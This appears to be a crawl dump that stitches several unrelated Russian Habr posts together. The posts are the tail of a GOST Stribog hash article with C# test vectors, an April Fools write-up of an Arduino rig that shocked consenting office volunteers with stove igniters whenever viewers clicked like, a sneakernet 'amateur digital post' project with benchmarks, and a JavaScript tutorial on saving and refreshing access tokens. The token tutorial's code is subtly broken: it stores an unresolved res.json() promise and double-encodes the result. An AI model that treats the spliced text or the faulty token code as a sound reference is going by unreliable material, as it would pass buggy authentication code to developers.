`0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,
0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,
0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,
0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30`
Для этого воспользуемся процедурой:
```
private void ComputeHash()
{
GOST G = new GOST(256);
GOST G512 = new GOST(512);
byte[] message={
0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,
0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,
0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,
0x34,0x33,0x32,0x31,0x30,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30};
byte[] res = G.GetHash(message);
byte[] res2 = G512.GetHash(message);
string h256 = BitConverter.ToString(res);
string h512 = BitConverter.ToString(res2);
}
```
В результате получим значения:
**h256**=00-55-7B-E5-E5-84-FD-52-A4-49-B1-6B-02-51-D0-5D-27-F9-4A-B7-6C-BA-A6-DA-89-0B-59-D8-EF-1E-15-9D
**h512**=48-6F-64-C1-91-78-79-41-7F-EF-08-2B-33-81-A4-E2-11-C3-24-F0-74-65-4C-38-82-3A-7B-76-F8-30-AD-00-FA-1F-BA-E4-2B-12-85-C0-35-2F-22-75-24-BC-9A-B1-62-54-28-8D-D6-86-3D-CC-D5-B9-F5-4A-1A-D0-54-1B
#### Ссылки
1. Полное описание стандарта вы можете скачать [отсюда](http://specremont.su/pdf/gost_34_11_2012.pdf).
2. [Сравнение старого и нового стандартов](http://paco2012.ipu.ru/procdngs/F108.pdf).
3. Разобраться с алгоритмом мне очень помогла реализация пользователя [okazymyrov](https://habr.com/ru/users/okazymyrov/) на языке С, доступная [здесь](https://github.com/okazymyrov/stribog).
4. [Реализация на assembler](http://omegicus.com/gost_34.11-2012_stribog/), пользователя [omegicus](https://habr.com/ru/users/omegicus/) | https://habr.com/ru/post/188152/ | null | ru | null |
# Как нас било током на 1 апреля
На день дурака в этом году мы с коллегами решили сделать чуть больше, чем просто шутку. Мы придумали интерактивный формат с трансляцией из нашего офиса и дали возможность всем желающим пощекотать наших добровольцев небольшим электрическим разрядом буквально в прямом эфире.
Мы не будем касаться в статье морально-этической стороны этого вопроса, только скажем, что у всех участников была возможность лишь симулировать получение разряда, но никто из них ей практически не пользовался.
Тут мы расскажем о том как работала техническая часть этого мероприятия.
Задача
------
На странице слайдер из трёх видеопотоков, под каждым из которых кнопки like от Facebook и VK. Нажатие на любую из них должно вызывать замыкание соответствующего слайду реле.
Реализация вкратце
------------------
* Нажатие на like-кнопку вызывает ajax-запрос на сервер. На сервере принимающий скрипт собирает очередь “лайкнутых” кадров из слайдера;
* На компьютере, к которому подключена плата Arduino, запущено Qt приложение. Оно раз в секунду обращается к сайту (идея с тем, чтобы держать одно соединение прогорела из-за недостаточно стабильного подключения в офисе) и получает список “лайкнутых” слайдов;
* Это же приложение полученные номерки слайдов пересылает через последовательный порт на Arduino, которая согласно полученным номеркам на 1200 мс включает реле;
Отдельные благодарности Arduino, Qt и замечательной библиотеке QextSerialPort.
Реализация подробнее
--------------------
Синей изоленты не оказалось из-за чего пришлось использовать неправославную черную изоленту.
Сначала надо было придумать, как отлавливать лайки. Раскопки API VK и Facebook привели к следующему:
вставка больше одной кнопки — дело несколько неприятное, но возможное
отлавливать лайки можно легко. Отличить их — немножко сложнее.
Займёмся вставкой нескольких кнопок и отловом лайков.
Вконтакте
---------
Читаем мануал [vk.com/dev/widget\_like](https://vk.com/dev/widget_like), создаём три блока:
```
```
И инициализируем их:
```
VK.Widgets.Like('vk1', {pageImage:'http://site.ru/i/vk.png', pageTitle:'Разряди обстановку — еб\*ни сеошника током!', pageUrl:'http://electro.eggo.ru/?1', width:80,type:'mini'}, 100);
VK.Widgets.Like('vk2', {pageImage:'http://site.ru/i/vk.png', pageTitle:'Разряди обстановку — еб\*ни сеошника током!',pageUrl:'http://electro.eggo.ru/?2', width:80,type:'mini'}, 200);
VK.Widgets.Like('vk3', {pageImage:'http://site.ru/i/vk.png', pageTitle:'Разряди обстановку — еб\*ни сеошника током!',pageUrl:'http://electro.eggo.ru/?3', width:80,type:'mini'}, 300);
```
С последним параметром надо быть аккуратным — он влияет на кеш остальных параметров и после любого изменения второго параметра, надо менять третий. Sad, but true.
Теперь отлов лайков. Документация говорит, что можно подписаться на событие widgets.like.liked. Но параметров функции-обработчика не описано и как понять, какую кнопку нажали — не очень понятно. Через отладчик удалось выяснить, что есть два параметра a и b, но пользоваться недокументированными возможностями чревато. Помним про законы Мерфи. За сим, заводим глобальную переменную “номер слайда”, по которой и отсылаем на сервер данные о том, какое реле должно сработать (и кого, соответственно, из наших звезд ударить током). К маньякам, которые быстро-быстро листают и лайкают мы применим страусовый алгоритм, то есть ничего делать не будем. Итак, js начинает обретать следующий вид:
```
/* инициализация */
var current_slide = 1;
function sendLike(type)
{
$.post('/sn/snh.php', {action:'like', socnet:type}, function(reply){});
}
VK.Observer.subscribe("widgets.like.liked", function f(a, b)
{
sendLike(current_slide);
});
```
На листалку слайдов туда-сюда ставим функции, меняющие переменную current\_slide на соответвующее текущему кадру значение.
Facebook
--------
Теперь вспоминаем про Facebook. Не люблю эту соцсеть, но как говорится, на вкус и цвет все фломастеры разные. В документации
[developers.facebook.com/docs/plugins/like-button](https://developers.facebook.com/docs/plugins/like-button/)
[developers.facebook.com/docs/reference/javascript/FB.Event.subscribe](https://developers.facebook.com/docs/reference/javascript/FB.Event.subscribe/)
находим возможность подписаться на событие edge.create и пробуем его запользовать:
```
$(window).load(function(){
FB.Event.subscribe('edge.create', function(targetUrl) {
sendLike( current_slide );
});
});
Сами кнопки вставляем строчкой вида:
...
...
```
get-параметр служит только для того, чтобы счётчики около кнопок работали независимо друг от друга.
Сохраняем, грузим страницу и тестируем кнопки. Ура, данные уходят на сервер. Пока что, в никуда.
На фото данные уже пришли куда надо и загорелась лампочка.
Серверная часть
---------------
В виду отсутствия большого количества времени и наличия небольшой лени, серверная часть приняла следующий вид:
1. ajax-сервер, который принимает отчёты о лайках по http и передаёт их по сокету на процесс-демон, который уже хранит в себе все неотправленные на исполняющую часть лайки и пересылает их по запросу с клиента.
2. процесс-демон, который представляет из себя сервер на сокетах и понимает два варианта запроса: “отдай налайканное” и “добавь лайк в очередь”.
Первый пункт решается кратко и понятно:
**ajax-сервер**
```
/sn/snh.php
error_reporting(0);
if ($_REQUEST['action'] == 'like' && intval($_REQUEST['socnet'])) {
$address = "127.0.0.1";
$port = 13666;
/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
die();
}
$result = socket_connect($socket, $address, $port);
if ($result === false) {
die();
}
socket_write($socket, 'add '.trim(strval($_REQUEST['socnet']))."\n");
$_SESSION['count']++; // потом пригодится
echo $_SESSION['count'];
socket_close($socket);
}
```
“Демон” чуть позамороченнее, ибо он и поумнее
**Демон**
```
srv.php
php
error_reporting(E_ALL);
echo "starting...\n";
$address = "0.0.0.0";
$port = 13666;
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
echo "socket ok\n";
socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);
if(!socket_bind($sock, $address, $port)) {
socket_close($client);
die('Could not bind to address');
}
echo "bind ok\n";
socket_listen($sock);
echo "listen ok\n";
$events = array();
echo "accepting...\n";
socket_set_nonblock($sock);
ini_set('log_errors', false);
$notify_socket = array();
while (true) {
if ($client = @socket_accept($sock)) {
if (is_resource($client)) {
echo "connected client\n";
$command = trim(socket_read($client, 32, PHP_NORMAL_READ));
if (strpos($command, "get") !==false) {
echo "send events\n";
$n = -1;
$str = '';
while (++$n < 5 && count($events) 0) {
$str .= array_shift($events);
}
echo "\nsend events:".$str."\n\n";
if (strlen($str) > 0) {
socket_write($client, $str."\n");
} else {
socket_write($client, "none\n");
}
} else if (strpos($command, "add")===0) {
$what = explode(" ", $command);
if (intval($what[1])) {
socket_write($client, "ok\n");
$events[]=(int)$what[1];
echo "n/c. events: [".implode(" ", $events)."]\n";
}
}
socket_shutdown($client);
socket_close($client);
echo "end of chat\n";
}//if valid connection
}//if accepted
}//while true;
socket_shutdown($sock);
socket_close($sock);
```
Так-с, теперь запускаем…
screen php -f srv.php
И переходим к части, которая будет работать с Arduino. В виду отсутствия ethernet shield, делаем desktop-приложение, которое будет работать модулем сопряжения демона на сервере и Arduino.
Так как я линуксоид, а “клиентские” компы будут работать под Windows, то для разработки этого модуля берём Qt + Qt Creator. Он может сделать интерфейс, работает с сетью, да и вообще штука хорошая и кроссплатформенная. Для работы с последовательным портом стандартной библиотеки нет, но есть замечательный проект QextSerialPort: [code.google.com/p/qextserialport](https://code.google.com/p/qextserialport/) который уже давно мной используется в своих целях.
Ставим Q-всё, делаем новый проект, добавляем модуль network, файлы QextSerialPort и клепаем простенький интерфейс: текстовое поле для ввода названия порта и кнопка “соединиться”, которая запускает бесконечный процесс запроса новых лайков у сервера и пересылке всего ответа на arduino.
Замечу, что информация о нажатых like-кнопках отправляется qt-клиенту пачками не более, чем из 5 событий. Соображение простое: этого хватает, чтобы принимающая сторона знала что делать и при этом не особо напрягаться, что может забиться буфер последовательного порта на Arduino. Плюс в этом есть некоторые соображения гуманности, о которых чуть ниже.
Главное орудие пыток.
Arduino
-------
Скетч крайне прост. Читаем из последовательного порта цифру и подаём HIGH на соответствующий пин. И через 1200мс выключаем обратно.
**Код Arduino**
```
#define LED_1 A0
#define LED_2 A1
#define LED_3 A2
void setup()
{
pinMode(LED_1, OUTPUT);
pinMode(LED_2, OUTPUT);
pinMode(LED_3, OUTPUT);
Serial.begin(9600);
}
void LEDoff()
{
digitalWrite(LED_1, LOW);
digitalWrite(LED_2, LOW);
digitalWrite(LED_3, LOW);
}//sub
void loop()
{
if (Serial.available() > 0) {
char ch;
while (Serial.available()) {
ch=Serial.read();
if (ch == '1') {
digitalWrite(LED_1, HIGH);
} else if(ch == '2') {
digitalWrite(LED_2, HIGH);
} else if (ch == '3') {
digitalWrite(LED_3, HIGH);
}
}//while
delay(1200);
LEDoff();
}//if avail
}//sub
```
Из кода ясно, что если нам за время между опросами сервера (порядка 1-2с) придёт пять команд ударить током одного человека, то получит он только один удар. Во-первых, так гуманнее. Во-вторых, таким нехитрым способом мы избавляемся от проблемы с тем, что раздача ударов током может стать бесконечной, если народ ломанётся жамкать лайки с дикой скоростью.
Включение на 1200мс выбрано опытным путём, этого значения оказалось достаточно, чтобы китайская зажигалка для плиты гарантированно “раскачалась” выдать искру.
Та самая китайская зажигалка плиты уже в полуразобранном виде.
Железная часть на Arduino
-------------------------
Берём Arduino Uno, prototype shield, три реле, проводки, обрезок витой пары, 3 китайские электрозажигалки и планку PLS-40/PBS-40 для соединений. Пока греется паяльник надеваем шилд на arduino, отрезаем сантиметров 15 витой пары и нарезаем планки разъёмов на 3 по 3. Витая пара оказалась медной, но моножильной, что несколько расстроило, так как я привык к домашним (уже почившим) запасам, где проводки были многожильными и мягкими. Паяем соединительные провода, подключаем реле к Arduino и проводком проверяем работоспособность реле. Щёлк-щёлк-щёлк. Работает.
Сама Arduino с установленной планкой.
Разбираем зажигалки, припаиваем к тем контактам, что замыкались кнопкой на зажигалке, по отрезку витой пары. Вторые концы этих проводов вставляем в управляемые контакты реле, подключаем батарейки в зажигалкам, пробуем. Радостно ругаемся, потому что не заметили, как коснулись локтём контактов =)
Втыкаем Arduino в комп, заливаем скетч, запускает Qt-клиента, пробуем. Ядовитое трещание искр от зажигалок показывает, что заработало.
Прекрасно понимая, что добрые люди могут спокойно “зажарить” подопытных, а батарейка типоразмера D просто разрядится, то параллельно управляющим контактам каждого реле через 1КОм резистор включаем светодиод, вынесенный на длинном проводе на верхний край каждого монитора. Учитывая, что зажигалка “раскачивается” почти секунду, эта сигнализация идёт даже раньше щелчка реле и искры с зажигалки где-то на полсекунды.
Батарейка смогла продержаться целый день.
Настройка видео.
----------------
Видеотрансляция была реализована через youtube с помощью [Live events](https://support.google.com/youtube/answer/2853700?hl=ru). Так как один канал умеет только одну трансляцию одновременно, то пришлось сделать три подтверждённых канала. Плюс надо в браузер поставить расширение Google hangouts. И то и другое занимает не так уж много времени.
Итак, программная часть готова, камеры установлены. Открываем на трёх компьютерах наших артистов youtube, запускаем три трансляции. Копируем на них ссылки для показа и вставляем их на нашу страничку с электроуправлением. Главное не напутать в соответствии камер и реле. Ну и не забыть волшебную фразу “не закрывать это окошко!”.
Ограничение на длину трансляции в 8ч обошли просто: по истечении этих самых 8ч остановили старые и запустили новые трансляции на оставшийся час(шоу длилось 9ч). А артисты получили пять минут отдыха.
За 15 минут до старта.
Проверка боем
-------------
В процессе эксплуатации выяснилось, что нашлись хитрые пользователи, которые догадались, что можно ставить like, потом нажимать dislike и так до бесконечности.
Мы так и не определились баг это или фича, но всё-таки, получив лулзов от пользователей и фонтаны радости и репостов, мы эту дыру слегка прикрыли. У нас три потока, у каждого можно поставить like в двух соцсетях. Итого 6 максимум для “неклинического” садиста. Даём небольшой запас на поиграться и на значении 9 начинаем показывать картинку с надписью “Садист”. Да, возможность играться дальше мы оставляем.
Итоги
-----
Система признана рабочей и приносящей много радости. Надеюсь, описанное здесь послужит для кого-нибудь источником вдохновения, и мы увидим другие примеры соединения социальных механик с оффлайном.
Скриншот сайта, как оно выглядело в живую
**Тыц**
UPD Видео трансляции. Видеоотчет о мероприятии монтируется.
[www.youtube.com/watch?v=G52Rfq6wrDk](http://www.youtube.com/watch?v=G52Rfq6wrDk)
[www.youtube.com/watch?v=S4dwTEVqZIc](http://www.youtube.com/watch?v=S4dwTEVqZIc)
[www.youtube.com/watch?v=p0ABXUK3tWo](http://www.youtube.com/watch?v=p0ABXUK3tWo) | https://habr.com/ru/post/219653/ | null | ru | null |
# Любительская почта — чебурнет судного дня
Всем привет!
В данной статье описан мой опыт создания [sneakernet-сети](https://en.wikipedia.org/wiki/Sneakernet), мотивация, побудившая написать данное ПО, общее описание работы, бенчмарки, а также ссылки на сторонние ресурсы, где можно почитать документацию и скачать исходный код и готовую скомпилированную сборку.
Что такое sneakernet-сети и зачем они нужны в 2022 году?
--------------------------------------------------------
Sneakernet - это термин, обозначающий компьютерную сеть, основанную на **физическом** перемещении данных, например, при помощи перемещения дискеты из рук в руки, при отправке флешек корреспондентам на голубях, и так далее.
Несмотря на повсеместное распространение интернета, такие сети могут быть интересны в качестве резервного канала связи. С одной стороны, живя в большом городе, можно обложиться домашним интернетом, несколькими сим-картами с оплаченным LTE, ещё несколькими VPN для надёжного доступа к зарубежным сервисам. С другой стороны, известные интернет-сервисы принадлежат не конечным пользователям, а большим компаниям, которые теоретически могут ограничивать доступ пользователям по тому или иному признаку (адрес IP не в правильном регионе, паспорт не той юрисдикции, банковская карта, выпущенная в твоей стране, больше не принимается к оплате, итд). Плюс, бывает так, что сами правительства практически полностью режут доступ к интернету на какое-то время — те, кто жил в Беларуси в августе 2020 года или в Казахстане в январе 2022 года, не дадут мне соврать. Поэтому в периоды таких отключений интернета было бы хорошо иметь запасную возможность отправить сообщение близким, друзьям, пускай и с сильно большей задержкой. Любительская почта была создана, чтобы реализовывать именно этот сценарий работы. В нескольких словах, это микс идеи почты и старого флоппинета, распространённого в 90-е годы прошлого века. На такую идею меня подтолкнула другая [статья на хабре](https://habr.com/ru/company/vdsina/blog/555560/), в которой описывается историческое развитие почты.
Как устроена любительская почта?
--------------------------------
Полное название сети - "Служба любительской цифровой почты" (Amateur Digital Post Service), в дальнейшем буду писать просто "любительская почта". Она сильно похожа на любые другие sneakernet-сети, наглядная картинка приведена выше.
Как хранятся сообщения в любительской почте?
--------------------------------------------
Сообщения хранятся в репозитории. Репозиторий - это папка, которая содержит две другие папки:
1. `adps_messages` - содержит сообщения в JSON-формате
2. `adps_attachments` - содержит файлы, прикреплённые к вложениям
Примерная структура репозитория с сообщением приведена на картинке выше. Любой файл в репозитории содержит первые 10 символов от хешсуммы sha512 этого файла. Такое правило в названии файлов позволяет относительно быстро находить вложения, а также избегать дублирования одинаковых сообщений во время их копирования между репозиториями. То есть, такое цифровое сообщение можно отправить разными маршрутами, а адресат получит ровно одно сообщение, потому что хешсумма письма не изменяется во время пересылки. JSON-файл сообщения ограничен размером в 4096 байт, поскольку это позволяет быстро десериализовать сообщение или понять, что файл имеет неверную структуру. Если надо отправить что-то потяжелее, то можно использовать механизм вложений. Файлы вложений не имеют ограничения по размеру, но оператор следующего узла может отказаться принять такое сообщение к себе в репозиторий.
На иллюстрации выше приведена схема сообщения, давайте разберём некоторые его поля:
1. **Имя** (`name`) — это первый по важности идентификатор **получателя** после координат. Значение этого поля должно быть коротким и позволять идентифицировать получателя. Например, это может быть адресом email, номером телефона или даже номером аськи. Важно учитывать, что это поле **регистрозависимое** в текущих реализациях поиска. Данное поле необходимо указывать в любом сообщении. Оно позволяет выгрести почту для конкретного получателя среди тысяч других для одной и той же координаты, что актуально для плотных городов.
2. **Сообщение** (`inline_message`) может содержать короткое сообщение, типа СМС. Из-за лимита в 4 КБ на одно сообщение оно не будет содержать много информации. Повторюсь, если надо отправить что-то побольше, используйте вложения.
3. **Примечание** (`additional_notes`) обычно выставлено в `null`. Но в некоторых случаях оно может содержать важную информацию для маршрутизации сообщения. Например, один узел может изменить письмо, добавив полезную информацию по доставке для следующих узлов. Вообще, лучше избегать редактирования сообщения после его создания, потому что поменяется значение хешсуммы и получатель может получить много сообщений с почти одинаковым содержимым, за исключением примечания. Но, как мне кажется, лучше доставить несколько сообщений, чем иметь больший риск не доставить ни одного.
4. **Дата создания** (`date_created`) реализует механизм `TTL` (Time To Live). Это строковое поле должно быть в формате `YYYY-MM-DDThh:mm:ss`. В обеих существующих реализациях любительской почты по умолчанию включены фильтры на это поле со значениями (30 дней назад; через 3 дня). Нижняя граница реализует TTL, а верхняя не позволяет его обманывать, но допускает отправку писем в разных часовых поясах и с адекватными ошибками в локальном времени. То есть, обычно у письма есть 30 дней, чтобы доставиться получателю, или оно, скорее всего, потеряется.
5. **Координаты получателя** (`recipient_coords`) — это главное поле, используемое для фильтрации сообщений. Оно сделано в виде списка географических координат. Причина использования списка, а не одной координаты была в том, что, во-первых, со списком можно отправлять одно письмо в несколько локаций, и во-вторых, через список можно вручную управлять маршрутизацией письма. То есть, если известно, что транспортный поток между вашим местом и местом получателя низкий, то вы можете разделить маршрут на несколько других с более плотным движением. Эта идея будет раскрыта в следующей части.
Как видно, все поля содержат информацию о **получателе**, не об отправителе.
Используя ПО для работы с любительской почтой, вы можете фильтровать письма по всем вышеприведённым полям, но самое главное поле — это список координат (`recipient_coords`), потому что оно даёт возможность маршрутизировать письма внутри сети.
Как поле списка координат используется для маршрутизации сообщения?
-------------------------------------------------------------------
Поле `recipient_coords` является основным полем для маршрутизации внутри любительской почты. Давайте рассмотрим два фильтра, использующие это поле.
### Простой фильтр координат
Это самый важный фильтр в любительской почте. Например, вы хотите отправить сообщение из Лихославля (Тверская область) во Владимир. Вероятность того, что кто-то на днях поедет из Лихославля во Владимир, очень мала. Гораздо лучше будет разбить маршрут "Лихославль - Владимир" на несколько сегментов, например, "Лихославль - Тверь - Москва - Владимир". Простой фильтр координат выгребает все сообщения с заданными центральной точкой и радиусом. Переводя на человеческий язык, запросы в фильтр будут выглядеть примерно так:
* Дайте мне все письма, получатели которых находятся в радиусе 20 км от Твери.
* Дайте мне все письма, получатели которых находятся в радиусе 50 км от Москвы.
* Дайте мне все письма, получатели которых находятся в радиусе 15 км от Владимира.
Если вы зададите только финальную точку в списке координат, то сработает только последний запрос для вашего письма. Но если вы зададите промежуточные точки, то все запросы выше будут работать и больше людей (узлов) будут вовлечены в доставку вашего сообщения. Иллюстрация этой идеи приведена выше.
### Умный фильтр координат (или фильтр убывающего расстояния)
Фильтр предназначен для передачи писем из одного репозитория в другой, который находится в крупной агломерации (например, Москва и МО). Главная идея заключается в том, что в больших городах больше вероятность встретить людей, которые иногда катаются в далёкие населённые пункты. Модель этого фильтра предполагает, что чем более населённый город, то тем на большее расстояние можно отправить письмо. Умный фильтр принимает два параметра:
1. Центральная точка (по аналогии с простым фильтром).
2. Базовое расстояние (`base_distance`).
Механика работы следующая:
1. Если дистанция между получателем и центральной точкой равна **одной** базовой дистанции, то вероятность фильтрации письма 50%.
2. Если дистанция между получателем и центральной точкой равна **двум** базовым дистанциям, то вероятность фильтрации письма 25%.
3. Если дистанция между получателем и центральной точкой равна **трём** базовым дистанциям, то вероятность фильтрации письма 12.5%.
4. И так далее, пока вероятность не опустится ниже порогового значения в 5%.
Математически вероятность (`probability`) считается по такой формуле:
Базовая дистанция (`base_distance` - метры) получается из значения населения (`population` - человек) в городе по следующей эмпирической формуле:
Значение населения можно вытащить из открытого датасета от [simplemaps.com](https://simplemaps.com/data/world-cities).
Давайте посмотрим на примеры двух самых больших городов России: Москву и Санкт-Петербург. Благодаря проекту [ns6t.net](https://ns6t.net/azimuth/azimuth.html) я смог построить [азимутальные эквидистантные проекции](https://en.wikipedia.org/wiki/Azimuthal_equidistant_projection) (любые два равных отрезка, начинающиеся из центра, проецируются в равные расстояния) для наглядной иллюстрации работы этого фильтра.
Если применить фильтр к Москве, то вся территория Франции, Италии или Англии будет лежать в зоне вероятностей между 50% и 25%. Это связано с тем, что Москва является большим городом, и значение базового расстояния довольно большое (1712 км).
Несмотря на относительно близкое расстояние (600 км) к Москве, "круги" Санкт-Петербурга имеют гораздо меньшее расстояние между окружностями. Из-за того, что базовое расстояние меньше Московского в 3 раза (как и население), то некоторые регионы Франции, Италии и Англии находятся за пределами 6.25-процентной зоны. В этом и заключается идея, что вероятность доставки письма из Москвы в Англию будет гораздо выше, чем из Питера в Англию, потому что в Москве живёт больше людей (на практике это может не работать, но модель, в силу простоты, пока такая).
Реализации
----------
Я написал две реализации. Сначала я написал прототип на питоне с CLI в качестве пользовательского интерфейса. После этого я написал генератор фейковых сообщений, чтобы посмотреть, как работает прототип под нагрузкой. [Скрипт](https://github.com/ivanmihval/PyADPS/blob/master/pyadps/scripts/generate_data.py) в git-репозитории питоновской реализации генерирует 50000 сообщений вместе со 100000 вложений на 5 ГБ. 80% писем распределены по России, остальные 20% — за её пределами. Количество писем пропорционально количеству жителей, кроме того, для каждой координаты внесена небольшая ошибка, чтобы избежать скопления писем с одинаковой координатой в одной и той же локации. Тестирование под нагрузкой вскрыло некоторые баги, который я поправил. После этого мне захотелось портировать питоновскую реализацию на какую-нибудь массовую платформу. В качестве такой я выбрал C#, а конкретнее, .NET 4.0. Причина заключалась в том, что эта платформа запускается на огромном количестве версий Windows (от Windows XP до "десятки"). Также у этой платформы есть гибкий и мощный фреймворк WPF для написания графического GUI вместо консольного CLI. В текущей версии GUI имеется возможность подгружать внешние переводы, помимо двух внутренних (русский, английский).
### Бенчмарк
Вышеупомянутый скрипт генерирует 50000 фейковых сообщений и 100000 вложений на 5 ГБ, которые складываются в отдельный репозиторий, на котором, в свою очередь, проводится нагрузочное тестирование.
#### Параметры фильтров
1. Простой фильтр координат: 55.7558, 37.6173 (Москва), радиус 35 км.
2. Включен умный фильтр координат, в качестве центральной точки также используется Москва.
3. Даты: с 10 января 2022 года по 10 июля 2022 года.
При таких настройках из репозитория с 50000 письмами фильтруются, примерно, 14300 сообщения. Я написал "примерно", потому что включён умный фильтр координат, а результат его работы зависит от генератора случайных чисел.
#### Команды в Python-реализации
```
# Filtering
time adps search [REPO] --output-format=COUNT --datetime-from=2022-01-10 --datetime-to=2022-07-10 --latitude=55.7558 --longitude=37.6173 --radius-meters=35000 --damping-distance-latitude=55.7558 --damping-distance-longitude=37.6173
# Copying
time adps search [SOURCE_REPO] --output-format=COUNT --datetime-from=2022-01-10 --datetime-to=2022-07-10 --latitude=55.7558 --longitude=37.6173 --radius-meters=35000 --damping-distance-latitude=55.7558 --damping-distance-longitude=37.6173 --target-repo-folder [TARGET_REPO] --copy
# Delete
time adps search [REPO] --output-format=COUNT --datetime-from=2022-01-10 --datetime-to=2022-07-10 --latitude=55.7558 --longitude=37.6173 --radius-meters=35000 --damping-distance-latitude=55.7558 --damping-distance-longitude=37.6173 --delete
```
#### Результаты
| | | | |
| --- | --- | --- | --- |
| Окружение | Фильтрация, сек. | Копирование, сек. | Удаление, сек. |
| Linux, Intel Core i5 Whiskey Lake, NVMe M2 SSD, Python 3.10 | 42 | 86 (44) | 85 (43) |
| MacOS, MacBook Air M1, Python 3.9 | 24 | 57 (33) | 53 (30) |
| Windows XP, Intel Core 2 Duo, SATA HDD 5400 rpm, .NET 4.0 | 127 | 1722 | 759 |
| Windows 10, Intel Pentium G4400, SATA SSD, .NET 4.5.1 | 61 | 255 | 52 |
Результаты для Windows 10 нестабильны из-за того, что первое время операция занимает намного больше времени, чем обычно. Возможно, это из-за того, что во второй и последующие запуски программа подгружает файлы из кеша, а не жёсткого диска. В таблице приведены наилучшие результаты. Также можно увидеть 2 числа в некоторых ячейках, относящихся к питоновской реализации. Два числа были указаны из-за того, что консольный интерфейс не позволяет разделить стадию фильтрации и стадию копирования/удаления, поэтому в скобках указано время за вычетом стадии фильтрации.
Результаты для Windows XP сильно выбиваются в худшую сторону по сравнению с другими окружениями. Но, всё равно, то, что любительскую почту можно запустить даже на таком довольно старом компьютере, меня радует.
Итог
----
Любительская почта — это полностью офлайн сеть, которая способна соединить участников по всему миру. Эта сеть работает даже на старом оборудовании. Дизайн этой сети предельно простой, нет необходимости даже в базе данных, нужна только возможность работы с файловой системой. Это значит, что любой программист может написать свою реализацию любительской почты. Сегодня, конечно, можно посмеяться над тем, что кто-то пишет ПО для создания сетей, которые были в ходу лет 30 назад. И хорошо, если лет через 10 мы тоже будем над этим смеяться, но пускай, всё-таки, возможность резервной связи будет, хоть она и гораздо менее удобная по сравнению с мессенджерами и электронной почтой.
Ссылки
------
* PyADPS: <https://github.com/ivanmihval/PyADPS>
* SharpADPS: <https://github.com/ivanmihval/SharpADPS>
* Документация (англ.): <https://adps-project.org/documentation.html> | https://habr.com/ru/post/682472/ | null | ru | null |
# Token, refresh token и создание асинхронной обертки для REST-запроса
В данном туториале мы кратко разберем, как реализовываются REST-запросы к API, требующие, чтобы пользователь был авторизован, и создадим асинхронную «обертку» для запроса, которая будет проверять авторизацию и своевременно ее обновлять.
Данные для авторизации
----------------------
Сделав REST-запрос к api, куда мы отправили логин и пароль, в ответ мы получаем json следующего формата (значения взяты рандомные и строки обычно длиннее):
```
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJPbmxpbmUgSld",
"refresh_token": "1eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJPbmxpbmUgS",
"expires_in": 124234149563
}
```
Полей в ответе может быть больше, например еще *«token\_type»*, *«expires\_on»* и т. д., но, для данной реализации, нам нужны только три поля, приведенные выше.
Давайте их рассмотрим подробнее:
* **access\_token** — токен, который нам нужно будет отправлять в шапке каждого запроса, для получения данных в ответ
* **refresh\_token** — токен, который нам нужно будет отправлять, для получения нового токена, когда истечет время жизни старого
* **expires\_in** — время жизни токена в секундах
Получение токена
----------------
Теперь создадим функцию, которая будет получать json, описанный выше, и сохранять его.
Хранить данные для авторизации мы будем в *sessionStorage* или *localStorage*, в зависимости от наших нужд. В первом случае данные хранятся до тех пор, пока пользователь не завершит сеанс или не закроет браузер, во втором случае данные в браузере будут храниться неограниченное время, пока по каким-либо причинам localStorage не будет очищен.
#### Функция для сохранения токена в sessionStorage:
```
function saveToken(token) {
sessionStorage.setItem('tokenData', JSON.stringify(token));
}
```
#### Функция для получения токена:
```
function getTokenData(login, password) {
return fetch('api/auth', {
method: 'POST',
credentials: 'include',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json',
},
body: JSON.stringify({
login,
password,
}),
})
.then((res) => {
if (res.status === 200) {
const tokenData = res.json();
saveToken(JSON.stringify(tokenData)); // сохраняем полученный токен в sessionStorage, с помощью функции, заданной ранее
return Promise.resolve()
}
return Promise.reject();
});
}
```
Таким образом мы получили токен с полями *«access\_token»*, *«refresh\_token»* и *«expires\_in»* и сохранили его в *sessionStorage* для дальнейшего использования.
### Обновление токена
Токен полученный нами ранее имеет ограниченное время жизни, которое задано в поле *«expires\_in»*. После того как его время жизни истечет, пользователь не сможет получить новые данные, отправляя данный токен в запросе, поэтому нужно получить новый токен.
Получить токен мы можем двумя способами: первый способ это заново авторизовавшись, отправив логин и пароль на сервер. Но это нам не подходит, т. к. заставлять пользователя каждый раз заново вводить данные авторизации по истечению какого-то отрезка времени — неправильно, это надо делать автоматически. Но хранить где-то в памяти пару логин/пароль для автоматической отправки небезопасно, именно для этого и нужен *«refresh\_token»*, который был получен ранее вместе с *«access\_token»* и хранится в sessionStorage. Отправив данный токен на другой адрес, который предоставляет api, мы сможем получить в ответ новый «свежий» токен.
#### Функция для обновления токена
```
function refreshToken(token) {
return fetch('api/auth/refreshToken', {
method: 'POST',
credentials: 'include',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json',
},
body: JSON.stringify({
token,
}),
})
.then((res) => {
if (res.status === 200) {
const tokenData = res.json();
saveToken(JSON.stringify(tokenData)); // сохраняем полученный обновленный токен в sessionStorage, с помощью функции, заданной ранее
return Promise.resolve();
}
return Promise.reject();
});
}
```
С помощью кода выше мы перезаписали токен в sessionStorage и теперь по новой можем отправлять запросы к api.
